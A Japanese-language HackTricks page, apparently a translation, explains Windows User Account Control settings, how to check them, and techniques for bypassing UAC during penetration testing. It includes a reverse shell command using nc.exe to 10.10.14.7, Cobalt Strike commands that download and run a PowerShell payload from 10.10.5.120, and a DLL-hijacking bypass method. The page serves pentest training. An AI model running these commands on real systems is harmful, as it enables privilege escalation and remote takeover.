UAC - ユーザーアカウント制御
Reading time: 19 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
UAC
ユーザーアカウント制御 (UAC) は、昇格された活動のための同意プロンプトを有効にする機能です。アプリケーションには異なる integrity
レベルがあり、高いレベルのプログラムは、システムを危険にさらす可能性のあるタスクを実行できます。UACが有効になっている場合、アプリケーションやタスクは常に非管理者アカウントのセキュリティコンテキストで実行され、管理者が明示的にこれらのアプリケーション/タスクに管理者レベルのアクセスを許可しない限り、システムを実行することはできません。これは、管理者が意図しない変更から保護される便利な機能ですが、セキュリティ境界とは見なされません。
インテグリティレベルに関する詳細情報については:
UACが有効な場合、管理者ユーザーには2つのトークンが与えられます:通常のアクションを通常レベルで実行するための標準ユーザーキーと、管理者権限を持つものです。
このページでは、UACの動作について詳細に説明しており、ログオンプロセス、ユーザーエクスペリエンス、UACアーキテクチャが含まれています。管理者は、セキュリティポリシーを使用して、ローカルレベルで自組織に特有のUACの動作を構成することができ(secpol.mscを使用)、またはActive Directoryドメイン環境でグループポリシーオブジェクト(GPO)を介して構成して展開することができます。さまざまな設定については、こちらで詳しく説明されています。UACに設定できるグループポリシー設定は10個あります。以下の表は追加の詳細を提供します:
グループポリシー設定 | レジストリキー | デフォルト設定 |
---|---|---|
ユーザーアカウント制御:組み込みの管理者アカウントの管理者承認モード | FilterAdministratorToken | 無効 |
ユーザーアカウント制御:UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を要求できるようにする | EnableUIADesktopToggle | 無効 |
ユーザーアカウント制御:管理者の管理者承認モードにおける昇格プロンプトの動作 | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求めるプロンプト |
ユーザーアカウント制御:標準ユーザーの昇格プロンプトの動作 | ConsentPromptBehaviorUser | セキュアデスクトップでの資格情報を求めるプロンプト |
ユーザーアカウント制御:アプリケーションのインストールを検出し、昇格を要求する | EnableInstallerDetection | 有効(ホームのデフォルト)無効(エンタープライズのデフォルト) |
ユーザーアカウント制御:署名され、検証された実行可能ファイルのみを昇格させる | ValidateAdminCodeSignatures | 無効 |
ユーザーアカウント制御:セキュアな場所にインストールされたUIAccessアプリケーションのみを昇格させる | EnableSecureUIAPaths | 有効 |
ユーザーアカウント制御:すべての管理者を管理者承認モードで実行する | EnableLUA | 有効 |
ユーザーアカウント制御:昇格を要求する際にセキュアデスクトップに切り替える | PromptOnSecureDesktop | 有効 |
ユーザーアカウント制御:ファイルおよびレジストリの書き込み失敗をユーザーごとの場所に仮想化する | EnableVirtualization | 有効 |
UACバイパス理論
一部のプログラムは、ユーザーが 管理者グループに属している場合に自動的に昇格されます。これらのバイナリには、Manifests 内に autoElevate オプションが True の値で含まれています。バイナリは、Microsoftによって署名されている必要があります。
次に、UACをバイパスするために(中のインテグリティレベルから高に昇格する)、一部の攻撃者はこの種のバイナリを使用して任意のコードを実行します。なぜなら、それは高いインテグリティプロセスから実行されるからです。
バイナリの_Manifestを確認するには、Sysinternalsのツールsigcheck.exe_を使用できます。また、_Process Explorer_や_SysinternalsのProcess Monitor_を使用してプロセスのインテグリティレベルを確認できます。
UACの確認
UACが有効かどうかを確認するには、次の操作を行います:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
もしそれが 1
であれば、UACは 有効 です。もしそれが 0
であるか、存在しない のであれば、UACは 無効 です。
次に、どのレベルが設定されているかを確認します:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
0
の場合、UACはプロンプトを表示しません(無効のように)1
の場合、管理者はバイナリを高い権限で実行するためにユーザー名とパスワードを求められます(セキュアデスクトップ上で)2
の場合(常に通知)、UACは管理者が高い権限で何かを実行しようとするたびに常に確認を求めます(セキュアデスクトップ上で)3
の場合、1
のようですが、セキュアデスクトップ上で必要ではありません4
の場合、2
のようですが、セキュアデスクトップ上で必要ではありません5
の場合(デフォルト)、非Windowsバイナリを高い権限で実行するために管理者に確認を求めます
次に、LocalAccountTokenFilterPolicy
の値を確認する必要があります。
値が 0
の場合、RID 500 ユーザー(組み込みの管理者)のみがUACなしで管理タスクを実行できます。値が 1
の場合、「Administrators」 グループ内のすべてのアカウントがそれを実行できます。
最後に、キー FilterAdministratorToken
の値を確認します。
0
(デフォルト)の場合、組み込みの管理者アカウントはリモート管理タスクを実行できます。1
の場合、組み込みの管理者アカウントはリモート管理タスクを実行できませんが、LocalAccountTokenFilterPolicy
が 1
に設定されている場合を除きます。
概要
EnableLUA=0
または 存在しない場合、誰に対してもUACなしEnableLua=1
かつLocalAccountTokenFilterPolicy=1
の場合、誰に対してもUACなしEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=0
の場合、RID 500(組み込みの管理者)に対してUACなしEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=1
の場合、全員に対してUACあり
このすべての情報は、metasploit モジュール post/windows/gather/win_privs
を使用して収集できます。
ユーザーのグループを確認し、整合性レベルを取得することもできます。
net user %username%
whoami /groups | findstr Level
UACバイパス
note
被害者にグラフィカルアクセスがある場合、UACバイパスは簡単で、UACプロンプトが表示されたときに「はい」をクリックするだけです。
UACバイパスは以下の状況で必要です: UACが有効で、プロセスが中程度の整合性コンテキストで実行されており、ユーザーが管理者グループに属している場合。
UACが最高のセキュリティレベル(常に)に設定されている場合、他のレベル(デフォルト)の場合よりもUACをバイパスするのがはるかに難しいことを言及することが重要です。
UAC無効
UACがすでに無効になっている場合(ConsentPromptBehaviorAdmin
が**0
**)、管理者権限でリバースシェルを実行することができます(高整合性レベル)次のようなものを使用して:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UACバイパスとトークン複製
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
非常に 基本的なUAC "バイパス"(フルファイルシステムアクセス)
管理者グループに属するユーザーのシェルを持っている場合、C$ 共有をSMB(ファイルシステム)経由で新しいディスクにマウントすることができ、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダも含む)。
warning
このトリックはもう機能していないようです
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UACバイパスとCobalt Strike
Cobalt Strikeの技術は、UACが最大のセキュリティレベルに設定されていない場合にのみ機能します。
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire と Metasploit には、UAC を バイパス するためのいくつかのモジュールがあります。
KRBUACBypass
ドキュメントとツールは https://github.com/wh0amitz/KRBUACBypass にあります。
UAC バイパスエクスプロイト
UACME は、いくつかの UAC バイパスエクスプロイトの コンパイル です。UACME を Visual Studio または msbuild を使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(例: Source\Akagi\outout\x64\Debug\Akagi.exe
)が作成されます。どれが必要かを知っておく必要があります。
注意が必要 です。なぜなら、いくつかのバイパスは 他のプログラムを促す ことがあり、ユーザー に何かが起こっていることを 警告 します。
UACME には、各技術が動作し始めた ビルドバージョン が含まれています。あなたのバージョンに影響を与える技術を検索できます:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Also, using this page you get the Windows release 1607
from the build versions.
More UAC bypass
すべての技術は、AUCをバイパスするためにフルインタラクティブシェルを必要とします(一般的なnc.exeシェルでは不十分です)。
meterpreterセッションを使用して取得できます。Session値が1に等しいプロセスに移行します:
(explorer.exe は動作するはずです)
UAC Bypass with GUI
GUIにアクセスできる場合は、UACプロンプトが表示されたときにそれを受け入れるだけで済みます。 バイパスは本当に必要ありません。したがって、GUIにアクセスすることでUACをバイパスできます。
さらに、誰かが使用していたGUIセッション(おそらくRDP経由)を取得した場合、管理者として実行されるツールがいくつかあり、そこから例えば管理者として直接cmdを実行できることがあります。UACによって再度プロンプトされることはありません。 https://github.com/oski02/UAC-GUI-Bypass-appverifのように。これは少しステルスかもしれません。
Noisy brute-force UAC bypass
騒がしくなることを気にしないのであれば、常に**https://github.com/Chainski/ForceAdminのようなものを実行**して、ユーザーが受け入れるまで権限を昇格するように要求することができます。
Your own bypass - Basic UAC bypass methodology
UACMEを見てみると、ほとんどのUACバイパスはDll Hijackingの脆弱性を悪用しています(主に悪意のあるdllを_C:\Windows\System32_に書き込むこと)。 Dll Hijackingの脆弱性を見つける方法を学ぶにはこれを読んでください。
- 自動昇格するバイナリを見つけます(実行時に高い整合性レベルで実行されることを確認します)。
- procmonを使用して、DLL Hijackingに脆弱な**"NAME NOT FOUND"**イベントを見つけます。
- おそらく、書き込み権限がないいくつかの保護されたパス(C:\Windows\System32など)内にDLLを書き込む必要があります。これをバイパスするには:
- wusa.exe: Windows 7,8および8.1。保護されたパス内にCABファイルの内容を抽出することを許可します(このツールは高い整合性レベルから実行されるため)。
- IFileOperation: Windows 10。
- 保護されたパス内にDLLをコピーし、脆弱で自動昇格されたバイナリを実行するためのスクリプトを準備します。
Another UAC bypass technique
自動昇格されたバイナリが実行されるバイナリまたはコマンドの名前/パスをレジストリから読み取ろうとするのを監視することに基づいています(このバイナリがHKCU内でこの情報を検索する場合、これはより興味深いです)。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。